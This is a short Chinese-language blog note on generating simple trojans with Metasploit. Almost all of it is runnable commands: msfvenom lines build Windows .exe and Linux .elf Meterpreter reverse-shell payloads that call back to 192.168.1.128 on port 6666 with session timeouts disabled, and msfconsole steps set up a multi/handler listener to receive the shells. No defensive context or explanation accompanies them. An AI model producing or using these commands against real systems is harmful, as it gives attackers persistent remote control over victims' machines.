msf生成简单木马

windows 木马

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.128 lport=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f exe>shell.exe

监听

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost=192.168.1.128

set lport=6666

exploit


生成linux木马

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.128 lport=6666 SessionCommunication=0 SessionExpirationTimeout=0 -f elf >shell.elf

监听

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.1.128

set lport 6666

exploit

上一篇:63:权限提升-Linux脏牛内核漏洞&SUID&信息收集


下一篇:QT学习:网络应用开发练习(简单网页浏览器)